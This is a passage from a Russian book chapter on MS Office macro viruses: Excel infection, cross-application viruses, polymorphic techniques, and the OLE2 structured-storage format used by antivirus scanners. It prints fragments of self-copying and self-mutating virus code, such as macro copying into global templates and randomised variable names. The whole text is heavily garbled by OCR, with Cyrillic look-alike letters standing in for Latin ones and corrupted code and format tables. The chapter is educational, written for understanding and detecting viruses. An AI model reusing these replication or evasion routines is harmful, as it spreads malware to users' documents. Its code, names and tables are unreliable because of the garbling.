А. и Б. Стругацкие. «Полдень, XXII век»

Все компонентм пакета МкгозоҒс ОШсе спроектированм и реализо- 
ванм так, чтобм, несмотря на различие решаеммх ими задач, пред- 
ставляли собой единую «многоцелевую» среду. Они обладают едино- 
образннм внешним интерфейсом, используют обшие библиотеки и 
поддерживают универсальнне технологии обмена даннмми. Для нас 
в контексте данной главн особенно интереснн следуюшие чертн уни- 
фикации компонентов М5 ОШсе:

О все они поддерживают язнк программирования УВА;
О их файлн (документн, электроннне таблиць1, презентации и 

т. п.) организованн в виде «структурированннх хранилиш».
Это означает, что они в равной степени могут служить платформа- 

ми для макровирусов. Вирусн для М5 \¥огс! МЬ1 уже рассмотрели, на- 
стала очередь ознакомиться, как обстоят дела в других приложениях 
М5 ОШсе.

5.2.1. Макровируси в МЗ Ехсе!
Язмк УВА появился в М5 Ехсе1 раньше, чем в М5 \¥огс1. Уже в сере- 
дине 1990-х годов, когда программн сценариев для М5 \¥огс! писа- 
лись на язьже \¥огс!Ва5к, пользователи М5 Ехсе1 имели в своем рас- 
поряжении одну из ранних версий УВА.

Но вирусн в среде М5 Ехсе1 появились позже, чем в М5 \Уог(1. В той 
же статье от декабря 1994 г., в которой Джоелом МакНамарой бьш 
описан М асго.\¥огс1.ПМ У, бьш анонсирован и Ехсе1-вирус, но... автор 
не справился с его отладкой. Поэтому ждать появления первого ра- 
ботоспособного макровируса для Ехсе1 пришлось почти полтора года.

Макровирусов для Ехсе1 немного -  всего около сотни. А глобаль- 
ную эпидемию вмзвал только один из них, самнй первнй: М асго.
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Ехсе1.Ьагоих. Летом 1996 г. его почти одновременно обнаружили 
в офисах двух крупннх нефтянмх компаний -  одна располагалась в 
Канаде, а другая в ЮАР. Прошло более десяти лет, а он еаде изредка 
встречается в «дикой природе». Стоит, пожалуй, упомянуть етце один, 
довольно распространенньш на рубеже веков вирус Масго.Ехсе197. 
Тгаскег (более известннй под именем Х97М.ЕМу1). О н  тоже широко 
распространился по всему миру и «жил долгок

В М5 Ехсе1 нет «глобальнмх шаблонов» типа «КОКМАЬ.ООТ», 
зато это приложение поддерживает «глобальнмй каталог ХЬ51аг(>, 
все макросн из файлов которого загружаются в виртуальную маши- 
ну автоматически. Например, вирус М асго.ЕхсеЬЬагоих размевдал 
в этом каталоге электронную таблицу «РЕК50НАЬ.ХЬ5», в которой 
сам постоянно и жил.

Управление вирусм получают при помоади «автоматических» мак- 
росов, которме имеют такой же смнсл и назначение, как и в М5 \¥огс1, 
только вМ5 Ехсе1 у них несколько изменено написание:«Аи1о_С1озе» 
вместо «Аи1оС1озе», «Аи1 о_Ореп» вместо «Аи1оОреп» и т. д. Есть и 
уншсальнне «автоматические» имена, например «ШогкЬоок_Ореп*> 
или «\¥огкЬоок_ВеасйуаСе». Широко используется прием, встре- 
тившийся впервне в М асго.Ехсе1.Ьагоих: «автоматический» макрос 
не делает ничего «болезнетворного», а просто внполняет команду 
«АррНсаИоп.ОпЗЬее^АсЙуаЬе = <имя_процедурн>», после чего ука- 
занная процедура будет стартовать при активации любой «книги».

Копирование макросов в «старнх» макровирусах для М5 Ехсе1 
чааде всего внполнялось при помовди метода «Сору» коллекции 
«5Ьее1з» примерно так:
||(огкооокз('’РЕй8ША1.Х13'').511ее15(''1агоих'').Сору Ье^оге := МогкЬоокз(п4$). 8пее1з(1).

В версиях, начиная с М5 Ехсе1 97, изменилась объектная модель 
приложения, появилось понятие УВА-проекта. Соответственно, ста- 
ла доступной комбинация методов «Ехрог1/1шрог1». Вот «кусочек» 
макровируса М асго .Ехсе197.Ьох, иллюстрируювдий их использо- 
вание:
Арр11са1:1оп. УВЕ. Асг1уеУВРго]ест. УВСошропепгз( "1Т"). Ехроп  "с:\1ог. й1Г' 

АсПуеИогкЬоок. \/ВРго]ес1:. УВСогаропепТз. 1трог1:("с: \1ог. с11")

Кроме того, появилась возможность построчного копирования 
текста вирусов из таблицн в таблицу при помовди методов «АсМ- 
ҒготҒИе», «1п8ег1ипез», «Кер1асеПпез» и т. п.
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Стратегия работн макровируса для М5 Ехсе1 традиционна: если 
«глобальньш каталог» пуст, то вирус размевдает в нем зараженннй 
шаблон; если шаблон с вирусом там уже присутствует, а текушая 
электронная таблица «чиста». то вирус копирует в нее ее макросн из 
этого шаблона.

Вот фрагмент «французского» макровируса Масго.ЕхсеШ.От, 
демонстрируювдий типичное поведение Ехсе1-вирусов:
5иЬ аиТо_ореп()
А П П ЬШ е эи1:о_ореп. УВ_РгосОата. \/В_1пуоке_Ғипс = " \п 14"
Ғог ЕасИ с1аззеиг 1п АррНсаИол.МогкЬоокз
1Т с!аз8еиг. Мате <> "0И.Х18” Тйеп ' Загружен вирусннй шаблон?
от = ҒаХзе
Ғог Еасп Ғеи Ш е  1п с1аззеиг.ЗИееТз 
1т Ғеш11е.Мате = "ОММасго'' тие.п ош = Тгие 

Нехт ҒеиШ е 
I* N01 ош ТИе-п
аррагепт = И1пс1омз(с1аз5еиг. Наше). У151о1е 
И1гс)о»з(с1аззеиг. Наше).У1з1Ь1е = Тгие
Т1и5МогкЬоок.Моаи1ез("0ММасго"). Сору аТтег: =**огкьоокз(с1аззеиг.Мате).ЗЬееТз( 1) 
!»(1пс1ои5(с1аз5еиг. Маше). У1з1Ь1е = аррагепт 

ЕпЗ 1Т 
Епй 1Т 

ИехТ с1аз5еог 
Епо 8иЬ

Очень похоже на \^огс!-вирусн, не правда ли? Обратите внима- 
ние, что «корень» объектной модели в Ехсе1 по-прежнему назнвается 
«АррНсаИоп», но вместо «ОоситепТя» используется «\¥огкЬоокз», 
вместо «Т1и50оситеп1» -  «Т1из\¥огкЬоок»- и т. п.

5.2.2. «Многоплатформенние» макровирусм
Макровирусм для М5 Ассезх, М5 Ро\уегРо1Ш и прочих компонентов 
М5 ОШсе не столь широко распространени, чтобн уделять им мно- 
го внимания. Зато интересно и поучительно рассмотреть сложную 
разновидность макровирусов, способннх заражать различнне при- 
ложения.

По понятньш причинам, подобнне вирусн начали появляться 
только тогда, когда все компонентн М5 ОШсе получили обвдую вир- 
туальную машину, универсальннй язнк программирования УВА, по- 
хожие объектнне модели, -  то есть начиная с 1997-1998 годов. Ви- 
рус Масго.ОШсе.Норрег научился заражать документм М5 \Уогс1 и 
электроннне таблицн М5 Ехсе1, вирус М а с г о .О й 1 с е .С г о 8 8  внедрялся 
как в документн М5 \¥огс1, так и в базн данньтх М5 Ассевз, а вирус
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Масго.ОШ се.ТпрНса^е, кроме документов и электроннмх таблиц, 
бмл способен паразитировать еше и на презентациях М5 Ро\уегРо1п1 . 
Собственно говоря, до сих пор создаются макровирусм, способнме 
заражать по три-четаре разнмх приложения М5 \¥огс1, но, разумеет- 
ся, в «дикой природе» их нет, и знают о них только вирусологи.

Как же устроенм подобнме макровирусм? А ничего сложного и 
необьганого в них нет. Их сушествование основмвается на простом 
факте (которьш нами в дальнейшем будет исследован подробнее): 
все объекта М5 ОШсе способнм хранить макросм в виде исходно- 
го текста. То есть они могут хранить внутри недописаннме макросм, 
программм-сценарии для других приложений и вообше любме тек- 
стовме даннме. Возможность или невозможность вмполнения храни- 
мого текста вьшсняется только при попмтке запуска макроса.

А теперь представьте себе, что внутри некоторого абстрактного 
объекта М5 ОШсе (или документа, или электронной таблицм, или 
презентации) содержатся исходнне текстм двух макросов с имена- 
ми «ВоситепС^СЛозе» и «\¥огкЬоок_Веаси\га1;е». Разумеется, первмй 
из них будет опознан как «автоматический» и запушен только в М5 
\¥огс1, а второй -  только в М5 Ехсе1. Таким образом, у вирт>'альной 
машинн просто не будет повода «споткнуться» о «чужие» командм. 
Именно этим обстоятельством пользуется, например, вирус М асго. 
ОШ се.Оагквкаг.

Другой важной особенностью пакета М5 ОШсе, способствуюшей 
сушествованию «многоплатформенннх» макровирусов, является 
имманентная ему технология ОЬ.Е-автоматизации. Это означает, что 
разнме приложения могут:

О  обмениваться даннмми друг с другом (например, М 5  \¥огс! мо- 
жет передать в М5 Ехсе1 таблицу с числами, и там они автома- 
тически вставятся в нужнме ячейки);

О «управлять» др>т другом (например, М5 Ехсе1 может запус- 
тить М5 \¥огс1 , заставить его открьггь определенннй документ 
и определенньш образом отредактировать его).

Вот как эта особенность используется в макровирусах (на примере 
М асго. ОШ се.Согпег):

Открмть или создать обьект, позвояяюсий управлять М8 Могй 
3е1 МогоОЬз = иеТ0Ь]ес1:(, "його.АррНсаТюп")
I? НогоОЬ] = ТПеп
Зет могоОЬ] = С геагеОЬ 1ест( "Мо го. Арр1 ю а И о л ")
сгоззОии = Т гиэ 
Епа 1т
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' Обратитьоя к тексту макросов, живуших в его 1\ЮНМА1_.В0Т
8еТ Нгша1 = йогаОЬ]. Могша1Тешр1аТе. \/ВРго]есТ. \/ВСошропепТз(1). сойетосШе

Нгша1.йер1асеПпе 1, "ЗиЬ ВоситепТ_Ореп" ' Вставить заголовок, типимний для Могй

Мгта1.8ауе
1Т СГО550У1Т = Тгие ТИеп ИогсОЬ]. 0у 1Т

Рассмотреннмй прием позволяет вирусу Масго.ОШсе.Сотег 
иметь один и тот же макрос на все случаи жизни. Заражая ту или 
иную разновидность даннмх, макровирус просто вставляет в опреде- 
леннне места исходного текста макроса «нужнне» строки.

53. Подиморфнь1е макровирусь!
...Вид у  нее, конечно, есть. Только разнъш, по- 
нимаете? Когда она на потолке, она как по- 
толок. Когда на диване -  как дшан...

А. и Б. Стругацкие. «Путь на Амальтею»

Возможностей язнков \¥огс!Ваз1с и УВА вполне хватает, чтобн созда- 
вать полиморфнне макровирусм.

Первне попьггки написать макровирус, не имеютий постоянного 
«тела», относятся евде к середине 1990-х годов. На этом этапе «по- 
лиморфизмом» могло считаться простое переименование макросов, 
ведь многие антивирусн пнтались распознавать «заразу» только по 
именам. Например, макровирус Масго.\¥ог<1.Кап<1оп1 тасовал слу- 
чайннм образом имена своих «автоматических» макросов:
X = Впй()
1Т х < 0.1 Тпеп 

гп$ = ": АиЮОреп"
Е1зе1Т х < 0.2 ТМеп 

гп$ = ":АиТоС1озе"
Е1зе1Т х < 0.3 ТПеп 

гп$ = ":АиТоНе«"
Е1зе1Т х < 0.4 ТИеп 

гп$ = ":АиТоЕхес"
Е1зе1Т х < 0.5 ТНеп 

гп$ = ":АиТоЕх1Т"
Е1зе1Т х < 0.6 ТНеп 

гп$ = " : Ғ11е5ауеАз"
Е1зе1Т х < 0 ./  ТИеп 

гп$ = ":Ғ11е0реп"
Е1зе1Т х < 0.8 ТИеп 

гп$ = " : Ғ11еС1озе"
Е1зе!Т х < 0.9 ТИеп
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гп$ = : аиТоОреп"

Е1зе
гп$ = ":ҒП еЕх1Г '

Епр I*

у$ = МасгоҒ11еМагае$() + + МасгоНаше$(1, 1)

МасгоСору у$, "Е1оЬа1" + гп$

Против антивирусов типа «5С.АМ831.00С» такой метод работал 
на 100%, но вскоре появились антивирусн, сканируюшие файлн доку- 
ментов и определяювдие «заразу» по сигнатуре. Поэтому следуклцим 
шагом бмли попмтки тем или иньш образом видоизменить исходньш 
текст. В язьпсе Шогс1Ваз1с это бнло затруднительно, но его эпоха дли- 
лась не очень долго. Богатне возможности по самомодификации мак- 
ровирусов привнес язьж УВА и прежде всего методн, позволяюшие 
копировать макросн из объекта в документ построчно. Это позволяло 
прочитать строку из зараженного объекта, видоизменить ее и в таком 
виде уже «вписать» в заражаемьш объект.

Вот пример маленького и простого вируса Масго.\^оп197.МтшюгрҚ 
которьга случайннм образом менял в своем исходном тексте имена 
временннх переменннх. IIопробуйте, сообразите, во что превратятся 
в результате вьшолнения следукмцего фрагмента имена «01)ШМ>>, 
«Р Р \¥М З»и«О Ь С иЬ :

01ШМ$ = Ғ11еНате$()
МасгоСору 01)Н1М$ + ":Аи1:о0реп", "АитоОреп"
МасгоСору "АиТоОреп", В1Ж1М$ + '':АиТо0реп"
ҒПеЗа^еАз . Ғогша1: = 1 
ОСЬШ = 1п1:(Нпй() * 3 + 5)
Ғог РРИМ5 = 1 То ОСИЛ
А$ = А$ + СИг$(1п1(йпр() * 26) + 65)
3$ = В$ + №г$(1п1(Кпс1() . 26) + 65)
С$ = С$ + СИг$(1п1(Нп(1() « 26) + 65)
№х1: РРиМЗ
ТооХзМасго .Маке = "Аи+оОреп", .Еаи:
ЕсШ:Яер1асе .Ғш о = "01)Н1М", . Йер1асе = А$, .Вер1асеА11
Еа11Нер1асе . Ғхпр = "РРЙМ8", ,йер1асе = В$, . Нер1асеА11
Ес)11йер1асе . Ғшс = "ОСИЛ", ,йер1асе = С$, . Вер1асеА11

Вирус Масго.\Уогс197.11п8ееп предварял каждую строчку кода 
своей новой копии случайннми метками:

РВЗиОВУОХО: ОоТюпб. VI гизРгоТесх 1 оп - Ға1зе 
0ҒЕНН0: Вапйошгге Тхшег
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РЛНЙАВНК: АсН.пзтаНео = Ға1зе
■^ТЕХЗВВО: 8е1 АстСагПег = АсиуеОосигаепТ.УЗРгозесТ.УВСопропелтзО)■ СсаеНоОиХе 
МКХШН: 5ет НогиСаггХег = Могша1Тешр1аТеЛ'8Рго1есТ.\/ВСошропепТз(1).Со0еМос1и1е

Одна из разновидностей вируса М асго.Ш огс197 .С 1а58  «прорежива- 
ла» свой текст при помовди случайннх комментариев:

'ЗтЯ Оу5ТуК8Р1НҒЕСТЕ01НҒЕСТЕО/ООС5|2212001 6.04.06 АМ 
Оп Еггог Яезише Иехт
'Зхй Оу5ТуК301НҒЕСТЕ01МҒЕСТЕО/ООС5|2212001 6.04.06 АМ 
0рТ1опз/8ауеНогша1РгоирТ = 0
’ 31й Оу5ТуК501МҒЕСТЕ01МҒЕСТЕО/ООС5|2212001 6.04.06 АМ 
ОрТюпз/СопТхгтСот/егзгопз = 0

Более продвинутме макровирусн слртайньгм образом шифровали 
не отдельнне строки, а все свое тело целиком. Например, очень зф- 
фектно поступал вирус М а сг о .О Ш с е .Д и § . Он оставлял в «естествен- 
ном» виде только небольшую процедурку, а весь остальной свой текст 
хранил внутри случайньш образом зашифрованннх комментариев:

'Комментарии с зашифрованиими строками текста 
' | { 'Х}0Яий&]!](иЬ!1В'АТ(%02]хТ-0$\Н1и5>-«в[Х; Гд<|
' | {51;А#Ғиу1»0Адг5У| Д к \ 2\/. Н! Т*{УАе 
• I
'Ск-'о1|и1(1."[Хе2"з>А_‘ =]Та!ХСу«52Хт{п-Аа(!2''08“ и7Кн :ш=}[псА05\]ет301Я]
'Зд5/А^$е{д0зд 'Х{с0$1

РПуаТе 8иЬ 0() ' Процедура шифрования и колирования макросов

Еп0 8иЬ
' Автоматические макроси для разнух типов приложвний
РгхуаТе ЗиЬ 0осишепТ_0реп(): 0: ЕпО 5иЬ 
РиЬНс Зио йогкооок_0реп(): 0: ЕпО Зио

Но «венцом творения» в сфере полиморфннх макровирусов сле- 
дует, наверное, считать макровирусм типа М а сг о .\У о г с1 9 7 .Р о 1 у М а с  
(он же Ч У 97М .С Ьу<Ьуу).. которне и «рандомизировали» имена пере- 
менннх, и вставляли в текст «мусорнне» командн, и меняли порядок 
внполнения команд, благодаря чему текст становился не только «не- 
читабельньш», но и «нераспознавабельньш» со сторонн ситнатурнмх 
антивирусов:

0о Ц пШ  14оШаС12 > 19 
14о1)1аС1-2 = 14о1)1аС12 +■ 8: 1..оор
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уМрАоМ = уМрАо18 + "Е ̂  и11($пх! 0" + СИг$(25) + "Й#02=Ғ" + С(1г$(16) 
г7уХсз1Т+4 = 5
Эо МПИе 27уХсз1Тг4 < 57: 27уХсз1Тг4 = 27уХсз1Т1:4 + 3 
1_оор

Разумеется, бороться против таких макровирусов при помоши сиг- 
натурннх сканеров -  бесполезное занятие. Лучший способ -  вклю- 
чить в свой антивирус упрошенную модель виртуальной машинн, 
которая внполняла бн сценарий «понарошку», следила за процессом 
и результатами внполнения и принимала решение о «заразности» 
макроса. Впрочем, есть и другие подходн. Речь о них пойдет дальше.

Завершая разговор о полиморфннх макровирусах, следует отме- 
тить, что наиболее сложнне и продвинутне их разновидности (на- 
пример, Масго.\¥ог<197.Ро1уМас) крайне редко встречаются в «ди- 
кой природе». И дело не в порядочности авторов, пославших свое 
творение напрямую в антивируснне компании, а в крайне невнсокой 
производительности виртуальной машинн, включенной в МЗ ОШсе. 
По наблюдениям А. Каримова (украинский антивирусньш проект 
«5(ор!»), на генерацию новой, мутировавшей разновидности таких 
макровирусов может потребоваться, в зависимости от бнстродей- 
ствия компьютера, от нескольких секунд до нескольких минут!

5.4. Прямой доступ к макросам
...Это бьш механизм, какая-то варварская 
машина. Она храпела, взрикивала, скреже- 
тала метаялом и распространяла неприят- 
ние ржавие запахи.

А. и Б. Стругацкие. «Обитаемцй остров»

Итак, хотя с некоторнми макровирусами можно успешно бороться 
и «подручньши» средствами, тем не менее .тучше поручить эту рабо- 
ту какому-нибудь антивирусу Но, как внясняется, поиск и удаление 
макровирусов при помоши внешней программн -  далеко не самая 
простая задача [46].

Рассмотрим основнне принципн, на которнх должна бнть ос- 
нована такая антивирусная программа. Основное внимание будем 
уделять «исцелению» от макровирусов для М5 \¥огс1: во-первнх, их 
в десятки и сотни раз больше, чем других типов макровирусов; и, во- 
вторнх, «исцеление» от Ехсе1- и Ро\уегРо1П(:-вирусов внглядит при- 
мерно так же.
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5.4.1. Формат структурированного хранили!да
ВОС-файл имеет весьма сложную структуру. Использованньш в нем 
способ хранения даннмх назнвается «стр>тстурированньш храни- 
лишем» («зСгисСигес! з1ога§е»). Он широко используется в \Ушс1о\у5 

в рамках технологий ОЬЕ/СО М /0 СО М/АсГ1 уеХ. По правилам 
«структурированного хранилиша» устроенм также ХЕЗ-файлм 
Ехсе1, РРТ-презентации Ро\\'егРо1п1, МО-файлм 1С:Бухгалтерии 
и очень многие прочие типм файлов. Официальннй метод доступа 
к данньш внутри «структурированннх хранилшц» сувдествует -  это 
процедурм (точнее «методн») из объектно-ориентированной биб- 
лиотеки «ОЕЕ2.БЕЕ». Но по очень многим причинам (которне мн 
рассмотрим ниже) он не всегда приемлем.

С задачей самостоятельного разбора «структурированного храни- 
лиша» столкнулись в середине 1990-х годов разработчики антивиру- 
сов, предназначенннх для обнаружения и удаления макровирусов. 
Фирма М1сго5о(Х считала подробности устройства «структуриро- 
ванннх хранилиш» сво1ш  внутрифирменннм секретом -  по крайней 
мере, официальньш и обвдедоступннх описаний долгое время не су- 
шествовало. Воткак в конце 1995 г. комментировал ситуацию с инфор- 
мацией о формате «структурированного храниливда» Е. Касперский: 

Для того чтобь/лечить зараженнь/е МюговоН Ооситеп(з, необхо- 
димо иметь на руках формат СИЕ2 (в коем эти документи и жи- 
вут). Однако этот формат фирма Мюгозой бережет как зеницу  
ока и раздает его только за большие деньги. Посему в самом 
ближайшем будушемниДиалог, ни его конкуренть/ не смогут вш- 
пустить 100%-ную лечилку против Масго-вирусов. От себя за- 
мечу, что:
1) ми (КАМ1) вроде как являемся Мюго&ой 8о1иИоп Рго\/1дег, но 
попь/тки изъять сей таинственнь/й формат у М5 успехом не увен- 
чались (создапось впечатление, что фирма М/сгозоК сама не об- 
ладает информацией об этом формате);
2) даже если иметь на руках формат МюгоЗоЙ Ооситеп1, то на- 
писать антивирус -  это очень непростое занятие. Структура 
М5-Ооситеп1 на порядок сложнее структурь/ расположения дан- 
нь/хна 005-дисках(включая ҒАТ, Яоо( О/ги т.д.).
Ему вторил Д. Грязнов, работавший в то время в крупной англий- 

ской компании и занимавшийся разработкой антивируса Бг5о1отоп:
... 0/_Е2 пришлось окучивать самим -  от МюгозоЙ’а добиться чего- 
либо действительно практически невозможно...
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Возможно, МктозоЛ и делилась с кем-то подробностями своих за- 
секреченнмх форматов, -«назначая» таким образом лидеров в антиви- 
русной индустрии и вьшуждая прочих заниматься противозаконннм, 
в обшем-то, делом -  «расхакиванием» чужого программного обеспе- 
чения. Вот что писал по этому поводу Ре1;ег Згог в своей книге «ТЬе 
Аг1; о£ Сотршег У1Ш8 КезеагсЬ апё Ое£епсе» [62]:

... Формаш файлов МюгозоН нуждались в «обратной разработке» 
со сторонь/ антивирусних компаний, для того чтобь! внутри них 
бь>ло можно находить вируси. Несмотря на то что М/сгозоН снаб- 
жала вирусологов информацией в соответствии с соглашением 
А/ОД (Иоп 01з1пЬи(ес1 Адгеетеп1 -  Соглашение о дальнейшем не- 
распространении), в этой информации содержалось определен- 
ное количество ошибок, и она бь/ла не полна. Некоторие антиви- 
руснь/е компании бьши более успешнь/ в «обратной разработке». 
В результате в антивируснь/х компаниях бь/стро появились спе- 
циалисть! необь/чного профиля: эксперть/ по форматам. Среди 
лучших специалистов по форматам можно упомянуть \/еззеНп 
ВоМсЬе^, Оаггеп СЛ/, Ре1ег Ғете, Апйгеш Кгикоу(«Сгаскоу»), 1дог 
МиШки СозИп йа'ю...

В то время как одни «хакали *> МкгозоЛ, другие занимались тем же 
самнм по отношению к конкурентам. Весной 1998-го даже разразил- 
ся маленький скандальчик между двумя крупньши отечественннми 
антивируснмми фирмами: одна из них обнаружила в продукте конку- 
рента фрагменти своего собственного (то есть «позаимствованного» 
из библиотек М1сгозоЛ и «перезаточенного» под себя) кода, предна- 
значенного для разбора «структурированнмх хранилшц». Компании 
обменивались многочисленньши грозннми пресс-релизами, обешали 
привлечь к разборкам Госарбитраж... но потом, слегка поостнв и оце- 
нив абсурдность ситуации, сиустили дело на тормозах.

Н-да... Бьши времена... Но теперь-то формат структурированно- 
го хранилшца в значительной степени известен. На рубеже веков 
его не очень точное, но довольно толковое описание (под красивнм 
наименованием «файловая система Ьао1а») вншло из-под электрон- 
ного пера некоего Мартина Шварца. Спустя несколько лет появи- 
лись документн от разработчиков «открмтнх» проектов С1атАУ и 
ОрепОШсе, а зимой 2008 г. наконец-то на сайт МкгозоЛ бнли внло- 
женн официальнме документн [51, 52]. То есть спустя полтора де- 
сятка лет после того, как у системнмх и прикладннх программистов 
появилась в нем необходимость!
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Итак, файлн документов М5 \Уог(1 с расширениями «.ВОС» и 
«.ВОТ» представляют собой сложнне объектн, организованнне по 
правилам «структурированного хранилшда». Фактически структури- 
рованное хранилише -  это отдельная файловая система от М1СГ050Л, 
примерно такая же, как ҒАТ или МТҒ5, только «живет» она не на 
диске, а в другом файле. Сам же дисковьга файл, храняший внутри 
себя «структурированное хранилише», назнвается «файл-документ» 
(«с!осй1е») или «составной файл» («сотрошк! £1е»). Первнй термин 
применялся во времена ОЬЕ 1, второй появился в середине 90-х го- 
дов вместе с ОЬЕ 2, сейчас они обнчно используются как синонимн. 
В ОЬЕ сушествует еше понятие «составной документ» («сотроипс! 
боситеп!:»), но э т о т  термин, встречаюшийся в книгах и статьях по 
ОЬЕ-автоматизации, относится к абстрактному подклассу хранилиш 
особого вида, расположенннх в оперативной памяти.

ООС-файл разбит на 512-байтовне секторн (кластерн), прону- 
мерованнне следуюшим образом: <без номера>, 0, 1,2, 3... Возмож- 
но сушествование хранилиш с секторами размером в 1024, 2048 и 
4096 байт, но ни одна из современннх версий М5 \¥огс1 создавать 
такие документн не умеет. А вот читать и редактировать документн 
с «большими» секторами М5 \¥огс! может.

Сектор без номера (самьш первьш сектор) занимает заголовок 
ООС-файла, начинаюшийся с сигнатурн «Э0 СҒ 11 Е0 А1 В1 1А Е1», 
эта сигнатура -  обязательннй признак «структурированного храни- 
лшда». Остальнне секторн файла связанн в цепочки, например на 
рисунке одной цепочке принадлежат секторм {0, 1}, другой -  {3,6,2}, 
третьей -  {4, 5}. В этом примере первую цепочку занимает главннй 
«каталог» (его еше иногда назнвают -чхранилихцем»). в котором ука- 
занн начальнне секторн всех остальннх цепочек.

Рнс. 5.9 ❖ Цепочка секторов в ҒАТ 
структурированного хранилиша

Заголовок «структурированного хранилшца» имеет следуюший 
формат:
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Мад1с 00 ЕОПСҒООП +00П -  "Магическое" число, уникальная сигнатура
01Е 00 Е11АВ1А2П +04(1 - "Магическое" чиоло, лризнак 01Е
С1810 08 16 йир (?) +08(1 -  Уникальний 01)10 документа (часто пуст)
ЯеуМигс ом ? +18(1 - Комер ревиэии
УегНия си ? +1А(1 - Номер версии
ВуТеОгаег ом ? +1Сп - Порядок байтов (ҒҒҒЕ11 -  РС, ҒЕҒҒП -  МАС)
С1и5Тег81ге ои 9 + 1Е(1 - Логарифм размера сектора, обнчно 9
В1оок512е ом 6 +2011 -  Логарифм размера маяенького блока, обично 6
Н1 ов 10 йир (?) +22(1 - ?
3808126 00 ? +2С(] -  Количество оекторов в ҒАТ ВВ0
ОхгЗТагТ 00 ? +30(1 -  Адрес "главного каталога"
Н2 00 ? +34(1 -  ?
М т 81г 00 ? +38(1 -  Минимэльньй размер потока, размешаемого е 380
ЗВОЗТаП: 00 ? +30(1 - Адрео ҒАТ 8В0
8В031ге 00 ? +40(1 - Размео ғд т  330 в секторах
ВВОЗТагг 00 ? +44(1 -  Аарес 2-ой лоловинм секторов ҒАТ БВ0
ВВОЗгге 00 ? +48(1 - Размер 2-ой половинв ҒАТ ЗВС в секторах
ВВ0Вед1п 00 109 сШр (?) +4С() - Первай половина секторов для ҒАТ ВВ0

Каждая цепочка секторов соответствует какому-либо объекту По- 
лезная информация хранится в объектах типа «поток». Имена, раз- 
мерм, атрибутм и начальнме секторн различннх объектов хранятся 
в «каталогах> («хранилигцах»). На самом деле в файле присутствует 
всего один «главннй каталог», в котором описанн все объектн (име- 
на, атрибутн, начальнне секторн цепочек и прочее). «Подкаталоги» 
являются составньши частями «главного каталога», хотя на них в нем 
имеются отдельнне ссмлки. Запись в «главном каталоге» имеет дли- 
ну 128 байтов:
Мате
Ьеп
Туре
С о 1 о г

1егТ
Ғ ц д М

Ғ1Г5Т
СЦЮ
Й1
згагг
61ге
Я2

й'л
йм
й ь
йь
йй
да

ао
бб
йв
да

с)а
йй

64 аи о  (?) , +00 - Имя обьекта в форуате ЦМСООЕ 
+40й -  Длина имени
+42(1 -  Тип данних: 1,5 -  каталог; 2 - поток; 3 -  1оекаутез 
+43(1 -  "Цвет" узла: 0 - красньай, 1 - черннй 
+44Ь -  Левий "наследник" узла 
+48(1 -  Правуй "наоледник" узпа
+40(1 -  Первий "наследник" (только если узел -  каталог)

4 вир ( ? )  ; +50(1 -  Уникальний СШО потока
5 оиэ (?) ; +60п -  ?
? ; +74(1 - СтартовнЯ оектор объекта

? ; +78И - Размер обьекта в байтэх 
? ; +7С'п - ?

Посмотрите внутрь какого-нибудь ООС-файла «на просвет», и вн 
увидите строчку «К о о 1. Е л т г это имя первой записи в «главном 
каталоге». Спустя 128 байтов (это длина записи) хранится следую- 
Шее имя (например, «\¥ о г с! [) о с и т  е п I») и т. д. Кстати, отдельнне 
латинские буквн в именах объектов разделенн не пробелами, а ну-
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левими байтами, ведь все текстовне даннме представляются в коди- 
ровке 11шсос1е. А русские буквм разделяются не нулевьш байтом, а 
байтом с кодом «4»:

А ехде в каталоге могут встречаться и «неалфавитно-цифровне» 
имена, например «\1 С о т  р О Ь .)'», где «\1» означает байт со значе- 
нием 1 .

Предполагается, что все объектм в «структурированном хранили- 
вде» неявно пронумерованн (начиная с 0 ) и образуют древовидную 
стр}тстуру, то есть кто-то из них является «корнем», кто-то «ветвью», 
а кто-то -  члистом» дерева. Именно для описания подчиненности 
объектов в каталог включенн поля «ЬеЙ> («Левий»), («Пра-
вьга») и «Ғ1гз1> («Первьга»), Расположение узла на том или ином 
уровне иерархии определяется в соответствии с правилами «красно- 
черннх деревьев»:

О каждьш узел либо черньга, либо краснмй;
О  «корень» дерева и «терминальнне сснлки» из «листьев» всегда 

чернне;
О предок красного узла всегда черньш;
О количество черньк узлов на всех «ветвях», ведувдих от «корня» 

к «листьям», одинаково.
«Красно-черная» организация требует добавлять и удалять узлн 

по определенньш правилам, что гарантирует сбалансированность 
двоичного дерева и, следовательно, эффективннй поиск в нем. Если 
же дерево маленькое, то никакого преимувдества «красно-черннх» де- 
ревьев перед друпши разновидностями нет. Да и вообвде, логическая 
структура объектов ВОС-файла соответствует не двоичному дереву, 
но дереву с произвольнъш количеством ветвей и листьев.

В каталоге могут встретиться записи об объектах следуюших типов:
О  1 (вложенннй) или 5 (корневой) -  каталоги;
О 2 -  «потоки» («зСгеатх») -  цепочки блоков, содержашие какие- 

либо даннне;
0  3 -  «запертае байтн» («1оскЪу1;е5») -  зарезервированнне це- 

почки блоков;

0' - '9' 
А' - '2'
3 * - ’ 2 ’ 
А'-'Я'  
Ё '

03СН-039И 
041П-05АИ 
061П-07АЬ 
410П-42ҒЙ 
401И

а' - 'я ' 
ё'

430П-44ҒП
451?!
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О 4 -  «свойсхва» («ргореЛу»).
Итак, стартовнй сектор объекта (например, потока) хранится в ка- 

талоге. А как узнать, какие евде секторм входят в цепочку. образую- 
шую объект?

Под все объектн в файле внделенн две большие группн логиче- 
ских «блоков»: ВВ1) (В;§ В1оскз Берог -  хранилише больших бло- 
ков) и 5ВБ (5та11 В1оскз БероС -  хранилтце маленьких блоков). 
ВВБ состоит из всех физических секторов файла, и каждьга такой 
сектор целиком занимает отдельннй 512-байтовнй «большой блок» 
данннх. 5ВЭ -  это одна из цепочек секторов внутри файла, в ней каж- 
днй сектор считается разбитнм на определенное количество малень- 
ких 64-байтовнх логических «блочков».

Каждой группе «бяоков» (больших или маленьких) соответствует 
специальная таблица распределения ҒАТ -  ҒПе АИосайоп ТаЬ1е.

ҒАТ ВВБ -  это массив из 4-байтовнх «записей», каждая из кото- 
рнх содержит номер одного из «больших блоков» (то есть фактически 
секторов файла). Нулевая запись соответствует «блоку» с номером
0  (то есть 512-байтовому сектору, начинаювдемуся в файле по абсо- 
лютному смешению 200Ь), первая -  «блоку» с номером 1 (смевдение 
400Ь) и т. д. Еше раз напомним: самнй первнй сектор составного фай- 
ла в этой таблице просто не упоминается! Содержимое 4-байтовой 
«записи» ВВГ) может иметь одно из следуюших значений:

